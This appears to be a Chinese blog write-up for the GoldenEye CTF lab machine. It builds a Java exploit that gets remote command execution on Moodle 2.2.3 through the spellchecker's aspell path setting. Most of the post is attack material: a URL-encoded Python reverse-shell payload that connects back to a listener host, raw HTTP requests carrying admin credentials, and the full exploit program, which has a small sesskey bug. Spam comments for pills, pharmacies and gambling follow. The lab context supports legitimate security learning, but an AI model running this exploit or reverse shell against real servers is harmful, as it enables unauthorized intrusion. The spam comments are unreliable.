接上文,此篇来攥写最激动人心的环节——在GoldenEye靶机中,利用Moodle漏洞,一键getshell。
根据靶机要求,本文中的DNS为手动添加,域名指向靶机
最终效果如图

0x00 getshell原因
根据老外的WriteUP,getshell需要满足三个条件:
- 需要拥有管理员账号密码;
- 登陆后台,在拼写检查引擎中设置要执行的命令;
- 触发拼写检查功能,执行命令
因为后台中可以设置拼写检查引擎的路径(可执行文件的路径),而在编辑器中可以调用拼写检查功能,从而间接的造成了任意代码的远程执行。
0x01 根据流程分析HTTP报文
编写exp,是为了将手动的攻击过程自动化,减少事件成本,完成攻击的自动化,必然少不了协议的分析。
笔者在这里使用了Burp Suite和Wireshark完成了对整个命令执行过程的分析,并且剔除了多余的参数和HTTP请求头,以达到请求报文的最小化,在服务端留下最少的记录。
首先,从零开始,清除在靶机上的Cookie

登录并获取Cookie

注意,在登录的响应中,出现了三个Set-Cookie字段,经过测试,第二个Cookie有效
获取Sesskey
(笔者因为没有注意到sesskey,在代码调试过程中卡顿了一会。)
在Moodle2.2.3中,进行每一步实质性的操作时,都需要提供一个sesskey,sesskey是一个十位数的字符串,由大小写字母和数字组成,可以由正则表达式来精准地从json中匹配出来 “sesskey”:”keykeykeyk”。

设置payload,反弹shell
将要执行的命令填入aspell的路径,笔者在这里填入python反弹shell的payload,请注意上文中提到的sesskey。

切换拼写检查引擎
这里同样需要提供sesskey

触发拼写检查功能,反弹shell


0x02 抽丝剥茧,简化HTTP请求包
完成远程代码执行一共需要发送五个请求,分别用来获取Cookie、获取Sesskey、设置payload、切换拼写检查引擎、触发payload
经过URL编码的Payload如下:
其中{host}{port}填入接收shell的主机名,端口
python+-c+%27import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22{host}%22%2C{port}%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27
简化的HTTP请求1,用于获取cookie
POST /gnocertdir/login/index.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Connection: close
username=admin&password=xWinter1995x%21
简化的HTTP请求2,用于获取sesskey
GET /gnocertdir/admin/settings.php?section=systempaths HTTP/1.1
Host: severnaya-station.com
Cookie: cookie
Connection: close
简化的HTTP请求3,用于设置payload
POST /gnocertdir/admin/settings.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 此处请自行计算
Connection: close
Cookie: cookie
section=systempaths&sesskey=sesskey&return=&s__gdversion=2&s__pathtodu=%2Fusr%2Fbin%2Fdu&s__aspellpath=payload&s__pathtodot=
简化的HTTP请求4,用于切换拼写检查引擎
POST /gnocertdir/admin/settings.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 此处请自行计算
Connection: close
Cookie: cookie
section=editorsettingstinymce&sesskey=sesskey&return=&s_editor_tinymce_spellengine=PSpellShell&s_editor_tinymce_spelllanguagelist=xxxyyy
简化的HTTP请求5,用于触发payload
POST /gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php HTTP/1.1
Host: severnaya-station.com
Content-Length: 56
Connection: close
Cookie: cookie
{"id":"c0","method":"checkWords","params":["en",[""]]});
0x03 代码编写
笔者为了减少代码量,自己编写过一个HTTP工具类
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Main {
public static void main(String[] args) {
//定义payload
String host = "192.168.180.129";
String port = "4444";
String payload = "python+-c+%27import+socket%2Csubprocess%2Cos%3B" +
"s%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3B" +
"s.connect%28%28%22{host}%22%2C{port}%29%29%3B" +
"os.dup2%28s.fileno%28%29%2C0%29%3B" +
"+os.dup2%28s.fileno%28%29%2C1%29%3B" +
"+os.dup2%28s.fileno%28%29%2C2%29%3B" +
"p%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27";
payload = payload.replace("{host}",host).replace("{port}",port);
//登录获取cookie
HTTPUtil hu = new HTTPUtil();
hu.setRequest("POST /gnocertdir/login/index.php HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Content-Type: application/x-www-form-urlencoded\n" +
"Content-Length: 39\n" +
"Connection: close\n" +
"\n" +
"username=admin&password=xWinter1995x%21");
String res = hu.getResponse();
String cookie = getCookie(res);
System.out.println("[+] Got the cookie! " + cookie);
//获取sesskey
hu.setRequest("GET /gnocertdir/admin/settings.php?section=systempaths HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Connection: close\n" +
"Cookie: " + cookie);
res = hu.getResponse();
String sesskey = getSesskey(res);
System.out.println(sesskey);
System.out.println("[+] Got the sesskey! " + sesskey);
//设置payload
String data = "section=systempaths&sesskey=" + sesskey + "&return=&s__gdversion=2&s__pathtodu=%2Fusr%2Fbin%2Fdu&s__aspellpath=" + payload + "&s__pathtodot=";
hu.setRequest("POST /gnocertdir/admin/settings.php HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Content-Type: application/x-www-form-urlencoded\n" +
"Content-Length: " + data.length() + "\n" +
"Connection: close\n" +
"Cookie: " + cookie + "\n" +
"\n" +
data);
hu.getResponse();
System.out.println("[+] Set the payload...");
//切换拼写检查器
data = "section=editorsettingstinymce&sesskey=" + "sesskey=" + "&return=&s_editor_tinymce_spellengine=PSpellShell&s_editor_tinymce_spelllanguagelist=xxxyyy";
hu.setRequest("POST /gnocertdir/admin/settings.php HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Content-Type: application/x-www-form-urlencoded\n" +
"Content-Length: " + data.length() + "\n" +
"Connection: close\n" +
"Cookie: " + cookie + "\n" +
"\n" +
data);
hu.getResponse();
System.out.println("[+] Changed the SpellEngine");
//触发payload
hu.setRequest("POST /gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Content-Length: 56\n" +
"Connection: close\n" +
"Cookie: " + cookie + "\n" +
"\n" +
"{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}");
hu.getResponse();
System.out.println("[+] Execute the payload...");
}
//正则匹配,获取第二个有效cookie
public static String getCookie(String response) {
Pattern pattern = Pattern.compile("Set-Cookie:\\s\\S+=\\S+;");
Matcher matcher = pattern.matcher(response);
List<String> cookies = new ArrayList<>();
while (matcher.find()) {
cookies.add(matcher.group());
}
for (String cookie : cookies) {
System.out.println(cookie);
}
String cookie = cookies.get(1)
.replace("Set-Cookie:","").trim();
return cookie;
}
//正则匹配,获取sesskey
public static String getSesskey(String response) {
Pattern pattern = Pattern.compile("sesskey\":\"([A-Za-z0-9]{10})");
Matcher matcher = pattern.matcher(response);
String key = null;
if (matcher.find()) {
key = matcher.group();
key = key.substring(key.lastIndexOf("\"") + 1);
return key;
}
return null;
}
}
0x04 编译代码 运行
javac Main.java
java Main

0x05 结语
整个Exp开发周期中花费时间最长的其实是协议分析,如果协议分析不够仔细,后续的debug环节必定要花费更多的时间,甚至动用wireshark来分析程序的HTTP数据包。
新的一年,祝大家0day多多,Error少少,新年快乐。
wow, awesome post.Thanks Again. Fantastic.
Awesome post.Thanks Again. Cool.
wow, awesome post.Really thank you! Keep writing.
Very informative article.Much thanks again. Keep writing.
Very neat blog.Really looking forward to read more. Cool.
best ed medication: erection pills – ed meds online
Looking forward to reading more. Great blog article.Thanks Again. Really Cool.
I loved your post.Really thank you!
Enjoyed every bit of your blog.Really thank you! Awesome.
A big thank you for your blog.Really looking forward to read more. Cool.
Muchos Gracias for your article.Much thanks again. Much obliged.
plaquenil hydroxychloroquine plaquenil for sle
Muchos Gracias for your blog article. Great.
canadian pharmacy coupon code – canadian pharmacy king types of pharmacy
Link Alternatif QQ adalah bandar yang menyediakan banyak informasi mengenai link – link dari berbagai agen judi bola online seperti agen QQ801
Really informative article post.Really looking forward to read more. Awesome.
Really informative blog article.Really thank you! Keep writing.